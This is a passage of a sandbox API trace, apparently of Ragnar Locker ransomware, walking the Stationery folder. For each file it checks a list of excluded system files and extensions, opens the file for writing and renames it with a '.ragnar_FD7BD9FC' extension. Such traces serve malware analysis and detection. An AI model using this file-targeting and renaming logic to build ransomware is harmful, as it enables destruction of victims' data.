Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.125] lstrcpyW (in: lpString1=0x1eb63c, lpString2="grid_(cm).wmf" | out: lpString1="grid_(cm).wmf") returned="grid_(cm).wmf" [0069.125] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned=".wmf" [0069.125] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0069.125] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="autorun.inf") returned 1 [0069.125] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="boot.ini") returned 1 [0069.125] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="bootfont.bin") returned 1 [0069.125] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="bootsect.bak") returned 1 [0069.125] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="bootmgr") returned 1 [0069.125] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="bootmgr.efi") returned 1 [0069.125] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="bootmgfw.efi") returned 1 [0069.125] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="desktop.ini") returned 1 [0069.125] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="iconcache.db") returned -1 [0069.125] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="ntldr") returned -1 [0069.125] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="ntuser.dat") returned -1 [0069.125] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="ntuser.dat.log") returned -1 [0069.125] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="ntuser.ini") returned -1 [0069.125] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="thumbs.db") returned -1 [0069.125] lstrcmpiW (lpString1=".wmf", lpString2=".db") returned 1 [0069.125] lstrcmpiW (lpString1=".wmf", lpString2=".sys") returned 1 [0069.125] lstrcmpiW (lpString1=".wmf", lpString2=".dll") returned 1 [0069.125] lstrcmpiW (lpString1=".wmf", lpString2=".lnk") returned 1 [0069.125] lstrcmpiW (lpString1=".wmf", lpString2=".msi") returned 1 [0069.125] lstrcmpiW (lpString1=".wmf", lpString2=".drv") returned 1 [0069.125] lstrcmpiW (lpString1=".wmf", lpString2=".exe") returned 1 [0069.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0069.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.126] CloseHandle (hObject=0xffffffff) returned 0 [0069.126] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" [0069.126] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.ragnar_FD7BD9FC" [0069.126] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.126] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0069.126] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.126] lstrcpyW (in: lpString1=0x1eb63c, lpString2="grid_(inch).wmf" | out: lpString1="grid_(inch).wmf") returned="grid_(inch).wmf" [0069.126] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned=".wmf" [0069.126] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0069.126] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="autorun.inf") returned 1 [0069.126] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="boot.ini") returned 1 [0069.126] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="bootfont.bin") returned 1 [0069.126] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="bootsect.bak") returned 1 [0069.126] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="bootmgr") returned 1 [0069.128] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="bootmgr.efi") returned 1 [0069.128] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="bootmgfw.efi") returned 1 [0069.128] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="desktop.ini") returned 1 [0069.128] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="iconcache.db") returned -1 [0069.128] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="ntldr") returned -1 [0069.128] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="ntuser.dat") returned -1 [0069.128] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="ntuser.dat.log") returned -1 [0069.128] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="ntuser.ini") returned -1 [0069.128] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="thumbs.db") returned -1 [0069.128] lstrcmpiW (lpString1=".wmf", lpString2=".db") returned 1 [0069.128] lstrcmpiW (lpString1=".wmf", lpString2=".sys") returned 1 [0069.128] lstrcmpiW (lpString1=".wmf", lpString2=".dll") returned 1 [0069.128] lstrcmpiW (lpString1=".wmf", lpString2=".lnk") returned 1 [0069.128] lstrcmpiW (lpString1=".wmf", lpString2=".msi") returned 1 [0069.128] lstrcmpiW (lpString1=".wmf", lpString2=".drv") returned 1 [0069.128] lstrcmpiW (lpString1=".wmf", lpString2=".exe") returned 1 [0069.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0069.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.129] CloseHandle (hObject=0xffffffff) returned 0 [0069.129] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" [0069.129] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.ragnar_FD7BD9FC" [0069.129] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.129] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0069.129] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.129] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Hand Prints.htm" | out: lpString1="Hand Prints.htm") returned="Hand Prints.htm" [0069.129] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned=".htm" [0069.129] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0069.130] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="autorun.inf") returned 1 [0069.130] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="boot.ini") returned 1 [0069.130] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="bootfont.bin") returned 1 [0069.130] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="bootsect.bak") returned 1 [0069.130] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="bootmgr") returned 1 [0069.130] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="bootmgr.efi") returned 1 [0069.130] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="bootmgfw.efi") returned 1 [0069.130] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="desktop.ini") returned 1 [0069.130] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="iconcache.db") returned -1 [0069.130] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="ntldr") returned -1 [0069.130] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="ntuser.dat") returned -1 [0069.130] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="ntuser.dat.log") returned -1 [0069.130] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="ntuser.ini") returned -1 [0069.130] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="thumbs.db") returned -1 [0069.130] lstrcmpiW (lpString1=".htm", lpString2=".db") returned 1 [0069.130] lstrcmpiW (lpString1=".htm", lpString2=".sys") returned -1 [0069.130] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0069.130] lstrcmpiW (lpString1=".htm", lpString2=".lnk") returned -1 [0069.130] lstrcmpiW (lpString1=".htm", lpString2=".msi") returned -1 [0069.130] lstrcmpiW (lpString1=".htm", lpString2=".drv") returned 1 [0069.130] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1 [0069.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0069.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.141] CloseHandle (hObject=0xffffffff) returned 0 [0069.141] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" [0069.142] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.ragnar_FD7BD9FC" [0069.142] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.142] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0069.142] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.142] lstrcpyW (in: lpString1=0x1eb63c, lpString2="HandPrints.jpg" | out: lpString1="HandPrints.jpg") returned="HandPrints.jpg" [0069.142] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned=".jpg" [0069.142] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0069.142] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="autorun.inf") returned 1 [0069.142] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="boot.ini") returned 1 [0069.142] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="bootfont.bin") returned 1 [0069.142] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="bootsect.bak") returned 1 [0069.142] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="bootmgr") returned 1 [0069.142] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="bootmgr.efi") returned 1 [0069.142] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="bootmgfw.efi") returned 1 [0069.142] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="desktop.ini") returned 1 [0069.142] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="iconcache.db") returned -1 [0069.142] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="ntldr") returned -1 [0069.142] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="ntuser.dat") returned -1 [0069.142] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="ntuser.dat.log") returned -1 [0069.142] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="ntuser.ini") returned -1 [0069.142] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="thumbs.db") returned -1 [0069.142] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0069.142] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.142] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.142] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0069.142] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.142] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0069.142] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0069.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.143] CloseHandle (hObject=0xffffffff) returned 0 [0069.143] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" [0069.143] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.ragnar_FD7BD9FC" [0069.143] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.143] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0069.143] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.143] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Memo.emf" | out: lpString1="Memo.emf") returned="Memo.emf" [0069.143] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf") returned=".emf" [0069.143] lstrcmpiW (lpString1="Memo.emf", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0069.143] lstrcmpiW (lpString1="Memo.emf", lpString2="autorun.inf") returned 1 [0069.143] lstrcmpiW (lpString1="Memo.emf", lpString2="boot.ini") returned 1 [0069.143] lstrcmpiW (lpString1="Memo.emf", lpString2="bootfont.bin") returned 1 [0069.143] lstrcmpiW (lpString1="Memo.emf", lpString2="bootsect.bak") returned 1 [0069.143] lstrcmpiW (lpString1="Memo.emf", lpString2="bootmgr") returned 1 [0069.143] lstrcmpiW (lpString1="Memo.emf", lpString2="bootmgr.efi") returned 1 [0069.143] lstrcmpiW (lpString1="Memo.emf", lpString2="bootmgfw.efi") returned 1 [0069.143] lstrcmpiW (lpString1="Memo.emf", lpString2="desktop.ini") returned 1 [0069.143] lstrcmpiW (lpString1="Memo.emf", lpString2="iconcache.db") returned 1 [0069.143] lstrcmpiW (lpString1="Memo.emf", lpString2="ntldr") returned -1 [0069.143] lstrcmpiW (lpString1="Memo.emf", lpString2="ntuser.dat") returned -1 [0069.143] lstrcmpiW (lpString1="Memo.emf", lpString2="ntuser.dat.log") returned -1 [0069.143] lstrcmpiW (lpString1="Memo.emf", lpString2="ntuser.ini") returned -1 [0069.144] lstrcmpiW (lpString1="Memo.emf", lpString2="thumbs.db") returned -1 [0069.144] lstrcmpiW (lpString1=".emf", lpString2=".db") returned 1 [0069.144] lstrcmpiW (lpString1=".emf", lpString2=".sys") returned -1 [0069.144] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0069.144] lstrcmpiW (lpString1=".emf", lpString2=".lnk") returned -1 [0069.144] lstrcmpiW (lpString1=".emf", lpString2=".msi") returned -1 [0069.144] lstrcmpiW (lpString1=".emf", lpString2=".drv") returned 1 [0069.144] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1 [0069.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf")) returned 0x20 [0069.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.163] CloseHandle (hObject=0xffffffff) returned 0 [0069.163] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" [0069.163] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf.ragnar_FD7BD9FC" [0069.163] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.164] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0069.164] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.164] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Monet.jpg" | out: lpString1="Monet.jpg") returned="Monet.jpg" [0069.164] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg") returned=".jpg" [0069.164] lstrcmpiW (lpString1="Monet.jpg", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0069.164] lstrcmpiW (lpString1="Monet.jpg", lpString2="autorun.inf") returned 1 [0069.164] lstrcmpiW (lpString1="Monet.jpg", lpString2="boot.ini") returned 1 [0069.164] lstrcmpiW (lpString1="Monet.jpg", lpString2="bootfont.bin") returned 1 [0069.164] lstrcmpiW (lpString1="Monet.jpg", lpString2="bootsect.bak") returned 1 [0069.164] lstrcmpiW (lpString1="Monet.jpg", lpString2="bootmgr") returned 1 [0069.164] lstrcmpiW (lpString1="Monet.jpg", lpString2="bootmgr.efi") returned 1 [0069.164] lstrcmpiW (lpString1="Monet.jpg", lpString2="bootmgfw.efi") returned 1 [0069.164] lstrcmpiW (lpString1="Monet.jpg", lpString2="desktop.ini") returned 1 [0069.164] lstrcmpiW (lpString1="Monet.jpg", lpString2="iconcache.db") returned 1 [0069.164] lstrcmpiW (lpString1="Monet.jpg", lpString2="ntldr") returned -1 [0069.164] lstrcmpiW (lpString1="Monet.jpg", lpString2="ntuser.dat") returned -1 [0069.164] lstrcmpiW (lpString1="Monet.jpg", lpString2="ntuser.dat.log") returned -1 [0069.164] lstrcmpiW (lpString1="Monet.jpg", lpString2="ntuser.ini") returned -1 [0069.164] lstrcmpiW (lpString1="Monet.jpg", lpString2="thumbs.db") returned -1 [0069.164] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0069.164] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.164] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.164] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0069.164] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.164] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0069.164] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg")) returned 0x20 [0069.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.165] CloseHandle (hObject=0xffffffff) returned 0 [0069.165] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 